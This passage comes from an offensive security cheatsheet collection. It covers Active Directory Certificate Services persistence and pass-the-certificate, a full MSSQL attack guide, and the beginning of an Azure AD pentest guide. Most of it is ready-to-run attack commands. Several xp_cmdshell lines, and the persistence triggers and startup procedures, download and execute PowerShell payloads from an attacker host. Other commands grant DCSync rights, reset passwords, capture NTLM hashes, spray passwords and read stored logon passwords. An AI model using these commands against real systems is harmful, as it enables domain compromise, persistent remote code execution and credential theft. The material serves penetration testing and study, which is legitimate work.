With sufficient privileges on the `NTAuthCertificates` AD object (Enterprise Admins or Domain Admins/Administrator in the root domain), the new certificate can be pushed like this:

```powershell
certutil.exe -dspublish -f C:\CERT.crt NTAuthCA
```

### Malicious Misconfiguration - DPERSIST3

Similarly to the **ESC5**, this point covers all the interesting rights that can be set (via DACL for example) to achieve a persistence. For example, setting a `WriteOwner` right on the `User` template for the attacker can be interesting. Other targets are worthwhile:

* CA server’s AD computer object
* The CA server’s RPC/DCOM server
* Any descendant AD object or container in the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
* AD groups delegated rights to control AD CS by default or by the current organization (e.g., the built-in Cert Publishers group and any of its members)

## Pass-The-Certificate

### PKINIT

With a certificate valid for authentication, it is possible to request a TGT via the **PKINIT** protocol.

#### Windows

```powershell
# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```

#### Linux

```bash
# Authentication with PFX/P12 file
certipy auth -pfx 'user.pfx'

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
```

### Schannel

If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with `PassTheCert`.

#### Windows

* Grant DCSync rights to an user

```powershell
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>

#To restore
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
```

* Add computer account

```powershell
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password <password>
```

* RBCD

```powershell
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid <controlled_computer_SID>
```

* Reset password

```powershell
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password <new_password>
```

#### Linux

For RBCD attack with passthecert.py

```bash
#Create a new computer account
python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP'

#Add delegation rights
python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP' -port 389 -delegate-to <created_computer> -delegate-from TARGET$

#Impersonation is now possible
```

With Certipy

```bash
certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell
```

## References
* [SpecterOps blog](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [SpecterOps whitepaper](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
* [ESC13 article](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
* [ESC14 article](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
* [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs)
* [Snovvcrash](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse)
* [Certipy2.0 blog](https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6)
* [Certipy4.0 blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
* [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
* [HTTP418 Infosec](https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks)
* [Weak ACLs](https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates)
* [Sploutchy's ESC11 attack](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
* [hajo's ESC12 attack](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
* [Certipy](https://github.com/ly4k/Certipy)
* [Certify](https://github.com/GhostPack/Certify)

# MSSQL

<p id="bkmrk-this-cheatsheet-is-b" class="callout danger">This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.</p>
<p id="bkmrk-if-you-see-a-missing" class="callout danger"><strong>If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : <a href="https://twitter.com/BlWasp_">@BlWasp_</a></strong></p>
<p>The idea of this cheatsheet is to provide some commands and scripts with titles without lots of explains. If you need more explains about these attacks you can, for example, buy the MSSQL course from <strong><a href="https://www.pentesteracademy.com/course?id=35">Pentester Academy</a></strong>. More references will be specified at the end.</p>
<h2 id="bkmrk-enumeration">Enumeration</h2>
<h3 id="bkmrk-basic-sql-server-que">Basic SQL Server queries for DB enumeration</h3>
<pre id="bkmrk-%23view-all-db-in-an-i"><code class="language-powershell">#View all db in an instance
Get-SQLQuery -Instance &lt;instance&gt; -Query "SELECT name FROM sys.databases"

#View all tables
Get-SQLQuery -Instance &lt;instance&gt; -Query "SELECT * FROM  &lt;database&gt;.INFORMATION_SCHEMA.TABLES" 

#View all cols in all tables in a db
Get-SQLQuery -Instance &lt;instance&gt; -Query "SELECT * FROM &lt;database&gt;.INFORMATION_SCHEMA.columns"

#View data in table
Get-SQLQuery -Instance &lt;instance&gt; -Query "USE &lt;database&gt;;SELECT * FROM &lt;table&gt;"
</code></pre>
<p id="bkmrk-works-also-with-get-">Works also with <code>Get-SQLServerLinkCrawl</code></p>
<h3 id="bkmrk-enumerate-spn-%2F-find">Enumerate SPN / Find MSSQL servers</h3>
<pre id="bkmrk-%23tcp%2Fudp-port-scan-g"><code class="language-powershell">#TCP/UDP port scan
Get-SQLInstanceScanUDP

#DB in the domain
Get-SQLInstanceDomain

#Local DB
Get-SQLInstanceLocal
</code></pre>
<h4 id="bkmrk-gather-information">Gather Information</h4>
<pre id="bkmrk-get-sqlinstancedomai"><code class="language-powershell">Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
</code></pre>
<h3 id="bkmrk-check-access-%2F-login">Check Access / Login brute force</h3>
<h4 id="bkmrk-check-access">Check access</h4>
<pre id="bkmrk-get-sqlconnectiontes"><code class="language-powershell">Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose
</code></pre>
<h4 id="bkmrk-enumerate-database-u">Enumerate database users</h4>
<p id="bkmrk-can-be-done-with-a-p">Can be done with a Public role</p>
<pre id="bkmrk-get-sqlfuzzserverlog"><code class="language-powershell">Get-SQLFuzzServerLogin -Instance &lt;instance&gt; -Verbose
</code></pre>
<h4 id="bkmrk-check-impersonation-">Check impersonation rights</h4>
<pre id="bkmrk-invoke-sqlaudit--ver"><code class="language-powershell">Invoke-SQLAudit -Verbose -Instance instance.domain.local
</code></pre>
<h3 id="bkmrk-enumerate-sql-server">Enumerate SQL Server links</h3>
<ul id="bkmrk-a-database-link-allo"><li>A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources.</li>
<li>In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures.</li>
<li>Database links work even across forest trusts.</li>
</ul><pre id="bkmrk-get-sqlserverlink--i"><code class="language-powershell">Get-SQLServerLink -Instance &lt;instance&gt; -Verbose
#Or
select * from master..sysservers
</code></pre>
<h4 id="bkmrk-enumerate-db-links">Enumerate DB links</h4>
<pre id="bkmrk-get-sqlserverlinkcra"><code class="language-powershell">Get-SQLServerLinkCrawl -Instance &lt;instance&gt; -Verbose
#Or
select * from openquery("&lt;instance&gt;",'select * from openquery("&lt;instance2&gt;",''select * from master..sysservers'')')
</code></pre>
<h3 id="bkmrk-enumerate-domain-use">Enumerate domain users</h3>
<pre id="bkmrk-get-sqlfuzzdomainacc"><code class="language-powershell">Get-SQLFuzzDomainAccount -Instance &lt;instance.domain.local&gt; -StartId 500 -EndId 2000 -Verbose
</code></pre>
<h2 id="bkmrk-commands-execution">Commands execution</h2>
<h3 id="bkmrk-xp_cmdshell">xp_cmdshell</h3>
<ul id="bkmrk-on-the-target-server"><li>On the target server, either <code>xp_cmdshell</code> should be already enabled; or</li>
<li>If <strong>rpcout</strong> is enabled (disabled by default), <code>xp_cmdshell</code> can be enabled using:</li>
</ul><pre id="bkmrk-execute%28%27sp_configur"><code class="language-sql">EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "&lt;instance&gt;" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "&lt;instance&gt;"
</code></pre>
<ul id="bkmrk-if-rpcout-is-disable"><li>If <strong>rpcout</strong> is disabled but we are <strong>sa</strong>, it can be enabled with <code>EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';</code></li>
</ul><p id="bkmrk-commands-execution-t">Commands execution through DB links:</p>
<pre id="bkmrk-get-sqlserverlinkcra-0"><code class="language-powershell">Get-SQLServerLinkCrawl -Instance &lt;instance&gt; -Query "exec master..xp_cmdshell 'whoami'"
Get-SQLServerLinkCrawl -Instance &lt;instance&gt; -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://attacker_IP/Invoke-HelloWorld.ps1'')"'

#Or
select * from openquery("&lt;instance&gt;",'select * from openquery("&lt;instance2&gt;",''select * from openquery("&lt;instance3&gt;.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
</code></pre>
<p id="bkmrk-with-powerupsql%3A">With PowerUpSQL:</p>
<pre id="bkmrk-invoke-sqloscmd--use"><code class="language-powershell">Invoke-SQLOSCmd -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command whoami
</code></pre>
<h3 id="bkmrk-extended-stored-proc">Extended Stored Procedure</h3>
<ul id="bkmrk-a-dll-which-acts-as-"><li>A DLL which acts as an extension to SQL server. The DLL needs to be on the disk.</li>
<li>sysadmin privileges are required to register each extended stored procedure inside a DLL.</li>
<li>Executes with the privileges of the service account and runs in the process space of SQL Server.</li>
<li>The DLL can have any file extension and can also be loaded from UNC path or Webdav.</li>
</ul><pre id="bkmrk-create-sqlfilexpdll-"><code class="language-powershell">Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
Get-SQLQuery -UserName sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Query "sp_addextendedproc 'xp_calc', '\\&lt;distant_server&gt;\fileserver\xp_calc.dll'"
Get-SQLQuery -UserName sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Query "EXEC xp_calc"
</code></pre>
<h4 id="bkmrk-list-existing-extend">List existing extended procedure</h4>
<pre id="bkmrk-get-sqlstoredprocedu"><code class="language-powershell">Get-SQLStoredProcedureXP -Instance &lt;instance&gt; -Verbose
</code></pre>
<h3 id="bkmrk-clr-assemblies">CLR Assemblies</h3>
<ul id="bkmrk-clr-%28common-language"><li>CLR (Common Language Runtime) is a run-time environment provided by the .NET framework. SQL Server supports CLR integration which allows writing stored procedures and other things by importing a DLL.</li>
<li>CLR integration is off by default and sysadmin privileges are required by-default to use it. Create assembly, Alter assembly or <code>DDL_Admin</code> role can also use it.</li>
<li>The execution takes place with privileges of the service account.</li>
</ul><h4 id="bkmrk-in-sql">In SQL</h4>
<pre id="bkmrk-use-msdb-go----enabl"><code class="language-sql">use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\\\&lt;distant_server&gt;\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME 
[my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

-- Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
</code></pre>
<h4 id="bkmrk-with-powerupsql">With PowerUpSQL</h4>
<pre id="bkmrk-%23create-c%23-code-for-"><code class="language-powershell">#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop

#Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command "whoami" -Verbose

#List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance &lt;instance&gt; -Verbose
</code></pre>
<h3 id="bkmrk-ole-automation-proce">Ole Automation Procedures</h3>
<ul id="bkmrk-system-stored-proced"><li>System stored procedures which allow use of COM objects using SQL queries.</li>
<li>Turned off by default. syadmin privileges are required to enable it.</li>
<li>Execute privileges on <code>sp_OACreate</code> and <code>sp_OAMethod</code> can also be used for execution.</li>
<li>The execution takes place with privileges of the service account.</li>
</ul><pre id="bkmrk-invoke-sqloscmdclr--"><code class="language-powershell">Invoke-SQLOSCmdCLR -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command "powershell –e &lt;base64encodedscript&gt;" -Verbose
</code></pre>
<h3 id="bkmrk-agent-jobs">Agent Jobs</h3>
<ul id="bkmrk-sql-server-agent-is-"><li>SQL Server Agent is a Windows service that executes scheduled tasks or jobs.</li>
<li>A job can be scheduled, executed in response to alerts or by using <code>sp_start_job</code> stored procedure.</li>
<li>Needs sysadmin role to create a job.</li>
<li>Non-sysadmin users with the <strong>SQLAgentUserRole</strong>, <strong>SQLAgentReaderRole</strong>, and <strong>SQLAgentOperatorRole</strong> fixed database roles in the msdb database can also be used.</li>
<li>The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.</li>
</ul><h4 id="bkmrk-in-sql-0">In SQL</h4>
<pre id="bkmrk----powershell-use-ms"><code class="language-sql">-- PowerShell
USE msdb
EXEC dbo.sp_add_job @job_name = N'PSJob'
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob'
-- EXEC dbo.sp_delete_job @job_name = N'PSJob'

-- CmdExec
USE msdb
EXEC dbo.sp_add_job @job_name = N'cmdjob' 
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
EXEC dbo.sp_start_job N'cmdjob';
-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'
</code></pre>
<h4 id="bkmrk-with-powerupsql-0">With PowerUpSQL</h4>
<pre id="bkmrk-invoke-sqloscmdagent"><code class="language-powershell">Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command "powershell –e &lt;base64encodedscript&gt;" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript
</code></pre>
<h3 id="bkmrk-external-scripts">External Scripts</h3>
<h4 id="bkmrk-r-script">R script</h4>
<pre id="bkmrk-sp_configure-%27extern"><code class="language-sql">sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet &lt;- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- Grab Net-NTLM hash
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Or
@script=N'OutputDataSet &lt;-data.frame(shell("dir",intern=T))'
</code></pre>
<h4 id="bkmrk-python-script">Python script</h4>
<pre id="bkmrk-exec-sp_execute_exte"><code class="language-sql">EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
</code></pre>
<h4 id="bkmrk-with-powerupsql-1">With PowerUpSQL</h4>
<pre id="bkmrk-%23r-invoke-sqloscmdr-"><code class="language-powershell">#R
Invoke-SQLOSCmdR -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command "powershell –e &lt;base64encodedscript&gt;" -Verbose

#Python
Invoke-SQLOSCmdPython -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Command "powershell –e &lt;base64encodedscript&gt;" -Verbose
</code></pre>
<h2 id="bkmrk-privilege-escalation">Privilege Escalation</h2>
<h3 id="bkmrk-public-to-sysadmin--">Public to sysadmin - Impersonation</h3>
<p id="bkmrk-can-be-achieved-with">Can be achieved with <strong>User Impersonation</strong>, with <code>Execute AS</code></p>
<h4 id="bkmrk-check-impersonation--0">Check impersonation rights</h4>
<pre id="bkmrk-invoke-sqlauditprivi"><code class="language-powershell">Invoke-SQLAuditPrivImpersonateLogin -Username &lt;username&gt; -Password &lt;password&gt; -Instance &lt;instance&gt; -Verbose
</code></pre>
<h4 id="bkmrk-impersonate-an-user">Impersonate an user</h4>
<pre id="bkmrk-invoke-sqlauditprivi-0"><code class="language-powershell">Invoke-SQLAuditPrivImpersonateLogin -Instance &lt;instance&gt; -Exploit -Verbose
</code></pre>
<h3 id="bkmrk-public-to-sysadmin---0">Public to sysadmin - TRUSTWORTHY Database</h3>
<ul id="bkmrk-a-database-property-"><li>A database property (<code>is_trustworthy_on</code>) used to indicate whether a SQL Server instance trusts a database and its contents.</li>
<li>When TRUSTWORTHY is OFF, impersonated users (by using EXECUTE AS) will only have <strong>database-scope permissions</strong> but when TRUSTWORTHY is turned ON impersonated users can perform actions with <strong>server level permissions</strong>. This allows writing procedures that can execute code which uses server level permission.</li>
<li>If the TRUSTWORTHY setting is set to ON, and if a sysadmin (not necessarily sa) is owner of the database, it is possible for the database owner (a user with <code>db_owner</code>) to elevate privileges to sysadmin.</li>
</ul><h4 id="bkmrk-look-for-trustworthy">Look for TRUSTWORTHY</h4>
<pre id="bkmrk-select-name-as-datab"><code class="language-sql">SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY 
from sys.databases
</code></pre>
<p id="bkmrk-with-powerupsql-2">With PowerUpSQL</p>
<pre id="bkmrk-invoke-sqlaudit--ins"><code class="language-powershell">Invoke-SQLAudit -Instance &lt;instance.domain.local&gt; -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance &lt;instance&gt; -Verbose
</code></pre>
<h4 id="bkmrk-look-for-db_owner-ro">Look for db_owner role</h4>
<pre id="bkmrk-use-%3Cdatabase%3E-selec"><code class="language-sql">use &lt;database&gt;
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM 
RIGHT OUTER JOIN sys.database_principals AS DP1 
ON DRM.role_principal_id = DP1.principal_id 
LEFT OUTER JOIN sys.database_principals AS DP2 
ON DRM.member_principal_id = DP2.principal_id 
WHERE DP1.type = 'R'
ORDER BY DP1.name; 
</code></pre>
<h4 id="bkmrk-execute-as">EXECUTE AS</h4>
<pre id="bkmrk-execute-as-user-%3D-%27d"><code class="language-sql">EXECUTE AS USER = 'dbo'
SELECT system_user
EXEC sp_addsrvrolemember 'domain\user','sysadmin'
</code></pre>
<h3 id="bkmrk-public-to-service-ac">Public to Service Account</h3>
<h4 id="bkmrk-unc-path-injection">UNC path injection</h4>
<p id="bkmrk-like-this">Like <a href="https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-rbcd-from-mssql-serv">this</a></p>
<pre id="bkmrk-invoke-sqluncpathinj"><code class="language-powershell">Invoke-SQLUncPathInjection -Verbose -CaptureIp &lt;distant_server&gt;
</code></pre>
<h3 id="bkmrk-service-account-to-s">Service Account to SYSTEM</h3>
<p id="bkmrk-in-the-potato-family"><a href="https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all">In the Potato family, I want them all</a></p>
<h2 id="bkmrk-persistence">Persistence</h2>
<h3 id="bkmrk-startup-stored-proce">Startup Stored Procedures</h3>
<p id="bkmrk-procedures-that-rest">Procedures that restart each time the SQL service is restarted</p>
<pre id="bkmrk----create-a-stored-p"><code class="language-sql">-- Create a stored procedure
USE master
GO
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

-- Mark the stored procedure for automatic executio
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload

-- List stored procedures marked for automatic execution:
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
</code></pre>
<h3 id="bkmrk-triggers">Triggers</h3>
<h4 id="bkmrk-ddl-triggers">DDL Triggers</h4>
<pre id="bkmrk-create-trigger-%5Bpers"><code class="language-sql">CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
</code></pre>
<h4 id="bkmrk-dml-triggers">DML Triggers</h4>
<pre id="bkmrk-use-master-grant-imp"><code class="language-sql">USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
</code></pre>
<h4 id="bkmrk-logon-triggers">Logon Triggers</h4>
<pre id="bkmrk-create-trigger-%5Bpers-0"><code class="language-sql">CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;
</code></pre>
<h3 id="bkmrk-registry">Registry</h3>
<p id="bkmrk-using-xp_regread-%28as">Using <code>xp_regread</code> (as sysadmin) with PowerUpSQL. The below command reads auto logon password from registry.</p>
<pre id="bkmrk-get-sqlrecoverpwauto"><code class="language-powershell">Get-SQLRecoverPwAutoLogon -Username sa -Password &lt;password&gt; -Instance &lt;instance&gt; -Verbose
</code></pre>
<h2 id="bkmrk-references">References</h2>
<ul id="bkmrk-pentester-academy-ne"><li><a href="https://www.pentesteracademy.com/">Pentester Academy</a></li>
<li><a href="https://www.netspi.com/">NetSPI</a></li>
</ul>

# Azure AD

<p class="callout danger" id="bkmrk-this-cheatsheet-is-b">This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.</p>
<p class="callout danger" id="bkmrk-if-you-see-a-missing"><strong>If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : <a href="https://twitter.com/BlWasp_">@BlWasp_</a></strong></p>

Simple cheatsheet for Azure AD pentest. Same idea as my previous cheatsheet : title, commands, minimalist explains. It is oriented for peoples that know what they want to do, but they have forgotten the commands.
Mainly inspired from the **[CARTP course](https://bootcamps.pentesteracademy.com/course/ad-azure-mar-22)**.

I'm a full beginner in the Azure AD domain, so this page will be updated regularly.

## Misc

### Terminology

Basic Azure AD terminologies

* **Tenant** - An instance of Azure AD and represents a single organization.
* **Azure AD Directory** - Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
* **Subscriptions** - It is used to pay for services. There can be multiple subscriptions in a Directory.
* **Core Domain** - The initial domain name `<tenant>.onmicrosoft.com` is the core domain. It is possible to define custom domain names too.

#### Azure AD Organisation

```
Management groups	-> Subscriptions	-> Resource groups	-> Resources
										-> Resource groups	-> Resources
					-> Subscriptions	-> Resource groups	-> Resources
```

### Most common attack path

Most basic user owns an app -> This app runs as a **Service Principal** -> This SP has the App Role `AppRoleAssignement.ReadWrite.All` -> With this right it can grants `RoleManagement.ReadWrite.Directory` to itself -> It can grants **AAD Directory Role** -> Global Admin

## External recon

### Azure Tenant

#### Name and Federation

`https://login.microsoftonline.com/getuserrealm.srf?login=[USERNAME@DOMAIN]&xml=1`

With **AADInternals**

```powershell
Get-AADIntLoginInformation -UserName test@<tenant>.onmicrosoft.com 
```

#### Tenant ID

`https://login.microsoftonline.com/[DOMAIN]/.well-known/openid-configuration`

```powershell
Get-AADIntTenantID -Domain <tenant>.onmicrosoft.com 
```

#### Tenant domains

```powershell
Get-AADIntTenantDomains -Domain <tenant>.onmicrosoft.com
```

#### Validate Email ID

`https://login.microsoftonline.com/common/GetCredentialType`

#### All information

```powershell
Invoke-AADIntReconAsOutsider -DomainName <tenant>.onmicrosoft.com
```

### Email IDs

With `o365creeper` to check if an email ID belongs to a tenant.

```powershell
C:\Python27\python.exe .\o365creeper.py -f emails.txt -o validemails.txt
```

### Azure Services

Azure services are available at specific domains and subdomains. To enumerate all the subdomains from a 'base':

```powershell
Import-Module MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base <tenant> -Verbose
```

## Initial Access

* Password spraying technique (really noisy)

```powershell
. .\MSOLSPray.ps1 
Invoke-MSOLSpray -UserList validemails.txt -Password <password> -Verbose
```

* File Upload
* SQli/SSTI/etc
* OS Command Injection
* Function App Abuse
* Storage Account - Anonymous Access: `Invoke-EnumerateAzureBlobs -Base <tenant>` - Accessible blob can be viewed in the _storage explorer_ to retrieve sensitive data
* Phishing - //TODO

## Enumeration

Can be realised partially with the **AzureAD Module** by Microsoft or with the **Az PowerShell** module.

First, it is necessary to connect to AzureAD

```powershell
#AzureAD module
Connect-AzureAD

	#With creds
$creds = Get-Credential
Connect-AzureAD -Credential $creds

#Az PowerShell
Connect-AzAccount
```

### General information

Current session state and current tenant details

```powershell
#AzureAD module
Get-AzureADCurrentSessionInfo
Get-AzureADTenantDetail

#Az PowerShell
Get-AzContext
Get-AzContext -ListAvailable
```

Enumerate accessible subscriptions, resources

```powershell
Get-AzSubscription
Get-AzResource
```

### Users

#### All users

```powershell
#AzureAD module
Get-AzureADUser -All $true | select UserPrincipalName

#Az PowerShell
Get-AzADUser
```

#### Specific user

```powershell
#AzureAD module
Get-AzureADUser -ObjectId test@<tenant>.onmicrosoft.com

#Az PowerShell
Get-AzADUser -UserPrincipalName test@<tenant>.onmicrosoft.com
```

#### RBAC role assignments

```powershell
Get-AzRoleAssignment -SignInName test@<tenant>.onmicrosoft.com
```

| Role                      | Permissions                                                                              | Applies On         |
| ------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
| Owner                     | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
| Contributor               | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul>              | All resource types |
| Reader                    | View all resources                                                                       | All resource types |
| User Access Administrator | <ul><li>View all resources</li><li>Can manage access for other users</li></ul>           | All resource types |

#### Users with specific strings in DisplayName or userPrincipalName

```powershell
#AzureAD module
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"}

#Az PowerShell
Get-AzADUser -SearchString "admin"
Get-AzADUser | ?{$_.Displayname -match "admin"}
```

#### List all attributes of a user

```powershell
Get-AzureADUser -ObjectId test@<tenant>.onmicrosoft.com | fl * 
Get-AzureADUser -ObjectId test@<tenant>.onmicrosoft.com | %{$_.PSObject.Properties.Name}
```

#### List all users with a specific strings in attributes

```powershell
Get-AzureADUser -All $true | %{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
```

#### Users synced from on-prem or from Azure AD

```powershell
#From on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}

#From Azure AD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
```

#### Objects created by any user

```powershell
Get-AzureADUser | Get-AzureADUserCreatedObject
```

#### Objects owned by a specific user

```powershell
Get-AzureADUserOwnedObject -ObjectId test@<tenant>.onmicrosoft.com
```

#### KeyVault readable by the current user

```powershell
Get-AzKeyVault
```

#### Storage accounts

```powershell
Get-AzStorageAccount | fl
```

### Groups

#### All groups

```powershell
#AzureAD module
Get-AzureADGroup -All $true

#Az PowerShell
Get-AzADGroup
```

#### Specific group

```powershell
#AzureAD module
Get-AzureADGroup -ObjectId <object_ID>

#Az PowerShell
Get-AzADGroup -ObjectId <object_ID>
```

#### Groups with specific strings in DisplayName

```powershell
#AzureAD module
Get-AzureADGroup -SearchString "admin" | fl *
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"}

#Az PowerShell
